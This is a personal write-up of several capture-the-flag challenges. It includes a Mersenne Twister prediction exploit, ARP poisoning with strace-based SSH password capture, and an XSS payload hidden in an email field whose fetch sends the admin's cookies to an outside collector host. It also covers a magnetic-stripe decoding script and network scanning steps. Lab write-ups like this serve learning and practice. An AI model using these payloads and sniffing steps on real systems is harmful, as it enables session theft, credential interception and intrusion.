Forensics: No malware on file

Not having access to vol2 or a windows box, I wasted entire time getting vol2 working on arm or windows running. Biggest fault!

Better way (after CTF endend): With calm mind,

  • I started working with vol3 natively.
  • Spinned up lima vm with rosetta support and used vol2’s release binaries for amd64

Working with vol3

What I did: Dumped all registries -> didn’t find anything -> moved to printkey registries

The Good:

  • Dumped all registries

The Bad:

  • Opened only one hive in vim
  • Did not look for embedded magic bytes in all hives
  • Did not run binwalk on dumped registries
  • Did not follow up on registries

Printkey –recurse is somehow different than hivelist –dump.
Binwalk does not extract all detected. Give -D '.*' to extract all

tl;dr

  1. vol -f image.vmem -o dump windows.registry.hivelist –dump
  2. binwalk -y exe dump/* | grep -B 6 PE
  3. binwalk -e -D ‘.*’ registry.SOFTWARE.0xf8a0010f2410.hive
  4. Upload found exe to virustotal or any.run or run in windows
  5. grep for MetaCTF{

See my cheatsheet.

Crypto: Twist and Shout

This is based on the fact that python’s rand function is predictable/calculable when you have enough inputs.
It uses Mersenne Twister whose entire state can be calculated with 624 consecutive inputs but we don’t have access to consecutive inputs here.

It turns out, we don’t need the entire state either. Only need 2 random numbers to predict.
See: https://github.com/deut-erium/RNGeesus/blob/main/src/code_mersenne/mersenne.py : get_ith

Get i’th output given i-624, i-623 and i-227 th inputs
if both=True then can be only i-623 and i-227 only as
we only need MSB of i-624 which can be two possibilities

Server gives every alternate random number, so keep the offsets accordingly.

from pwn import *
import base64
import gessus


host = 'icc.metaproblems.com'
port = 5600
conn = remote(host, port)

def generate_ticket(n):
    return str(base64.b16encode(int.to_bytes(n, 4, 'little')))[2:-1]

def ticket_to_bits(ticket: str):
    byts = base64.b16decode(ticket)
    return int.from_bytes(byts, 'little')
    

predictors = []

def main():
    conn.recvuntil(b"casino!\n")
    iter = 0
    while True:
        iter += 1

        conn.recvuntil(b"Would you like to play the random lotto (our only game)? Y/n\n")
        conn.sendline(b"y")

        conn.recvuntil(b"tickets remaining\n")
        line = conn.recvline()
        num = line.split()[2].decode()


        target = 312

        if iter == 1 or iter == 199:
            predictors.append(ticket_to_bits(num))

        if iter == target:
            answers = gessus.BreakerPy().get_ith(predictors, both=True)
            answer = generate_ticket(answers[0])
            print("sending answer", answer)
            conn.sendline(answer)
            # Check if we guessed correctly
            response = conn.recvline().decode()
            if "quite lucky" in response:
                print(f"Flag obtained: {response}")
            else:
                print("failed")
                print (response)
                response = conn.recvline().decode()
                print (response)
                response = conn.recvline().decode()
                print (response)
                break
        else:
            conn.sendline()
            print(f"iteration nnumber {iter} with {num} {ticket_to_bits(num)}")
            conn.recvuntil(b"Checking")
            conn.recvline()


if __name__ == "__main__":
    main()

Network: Troublesome Tofu

It shouts arp poisoining from the desc of challenge. arpscan is present is a huge indicator. To be certain, diff all items in $PATH to a fresh ubuntu install.

  • Target: 192.168.0.2 (ssh)
  • Victim: 192.168.0.50 (contantly ssh-ing to Target with password auth)
  • Attacker: 192.168.0.99
  1. ARP poison
  2. Ensure getting traffic by tcpdump3
  3. !! traffic has a different dst ip, your own kernel will not pick them up. Change your IP to target’s IP. ip addr add 192.168.0.2 dev eth0
  4. which sshd, then run sshd, error about dir not present, create that dir
  5. ./strace -s 4096 /path/to/sshd > logs
  6. Wait (or monitor netstat for login attempt)
  7. awk 'NF < 5' | logs or look for read syscalls.
  8. Get the password and login to target (reset your ip first).

Cookie Jar

  1. XSS is in email. “<script/src=‘mysite.js’>"@wahtever.com
  2. Get URL, send to admin
  3. run fetch from admin to get cookies.php and send to your site
cook = fetch('/cookies.php')
	.then((response) => response.text())
	.then( (text) => {
	fetch('http://pxqfydd099x1249owsa7yft5dwjn7fv4.oastify.com', {
		method: "POST",
		body: "ok" + "\n" + text
	})
})

Magnetic Pull

Liked the challenge although found out in the end that could’ve used some chatgpt plugin app for this. Anyway.

Our credit card skimmer yanked this Track 1 data off of an unsuspecting victim, but we’re not really sure how to decode it. Can you get their name?

A28CACC8A34AE41B512F54B16A34EA55F5BA45A1E22CCBCE7ED283D24CEFD67ED283CA77CC08102F82544B522C58A1020409152E4081027C6E

  1. Read Wikipedia about https://en.wikipedia.org/wiki/Digital_card#Track_1
  2. Read https://en.wikipedia.org/wiki/Six-bit_character_code#DEC_six-bit_code
  3. Decode (take care of endianness)
def _chr(num):
    assert num >= 0 and num <= 63
    return chr(num+32)

def __chr(num):
    if num >= 32 and num <=63:
        return chr(num)
    if num > 63:
        return chr(num - 64)
    return ""

def bcd(x):
    if x >= 0x1 and x < 0xA:
        return chr(x - 0x1 + ord('1'))
    if x >= 0x12 and x <= 0x19:
        return chr(x - 0x12 + ord('S'))
    if x >= 0x21 and x <= 0x29:
        return chr(x - 0x21 + ord('J'))
    if x >= 0x31 and x <= 0x39:
        return chr(x - 0x31 + ord('A'))

    return '.'

def parity(x):
    res = 0
    while x:
        res ^= x & 1
        x >>=1
    return res

def parity_check(bin_data):
    for i in range(0, len(bin_data)-1, 7):
        seven_bit_chunk = bin_data[i:i+7]
        parity_sign = parity(int(seven_bit_chunk, 2))
        if parity_sign:
            print(".", end="")
        else:
            print("x", end="")
            #f"{parity_sign} == {parity(data)}"
    print("Parity check complete")

def bin_to_ascii(bin_data):
    for i in range(0, len(bin_data)-1, 7):
        seven_bit_chunk = bin_data[i:i+7]
        seven_bit_chunk = seven_bit_chunk[::-1] # Endianness !!!
        data = int(seven_bit_chunk[1:7], 2)
        parity_bit = seven_bit_chunk[0:1]
        parity_sign = int(parity_bit, 2)
        if parity_sign != parity(data):
            print(_chr(data), end="")
        else:
            print("x", end="")
    print()


hex_data = "A28CACC8A34AE41B512F54B16A34EA55F5BA45A1E22CCBCE7ED283D24CEFD67ED283CA77CC08102F82544B522C58A1020409152E4081027C6E"
bin_data = hex_to_bin(hex_data)
parity_check(bin_data)
bin_to_ascii(bin_data)

Network: Lost in the woods

Nothing but trees and boxen, as far as the eye can see.

Connect with ssh -p 7001 [email protected]

See if you can find a box with an open port and go from there!

Port scan

/ # nmap 192.168.0.1/24 --open
PORT     STATE SERVICE
8000/tcp open  http-alt
MAC Address: 02:42:0A:01:39:02 (Unknown)

Login Attempt

/ # curl 192.168.0.45:8000
curl: (1) Received HTTP/0.9 when not allowed

/ # nc 192.168.0.45 8000
SSH-2.0-OpenSSH_9.6
^C

/ # ssh 192.168.0.45 -p 8000
###########

You found me! That's PART 1 of 3 completed.

There is nothing more of use on this IP address (the SSH is just to
  show you this banner, you can't log in). Continue onwards.
  The next machine is at 192.168.0.59

You'll need these credentials:
Username: admin
Password: prettypleaseletmein

Hint: Remember to look all over.
Also, from now on, use the T5 flag to save yourself time, it shouldn't hurt anything.

###########

nmap -p- -T5 192.168.0.59 and get port 43254

/ # curl -u admin:prettypleaseletmein 192.168.0.59:43254

You found me! That's PART 2 of 3 completed.

Continue onwards.
Your final machine is at 192.168.0.132, port number 10.

Hint: Ogres have layers, and so do protocol suites. Check them all.
If you'd like an additional hint, it's on this webserver.

Why leave the hint

/ # curl -u admin:prettypleaseletmein 192.168.0.59:43254/hint
It's not UDP.

Get the flag

# nmap 192.168.0.132 -sO -T5
132      open   sctp
# ncat --sctp 192.168.0.132 10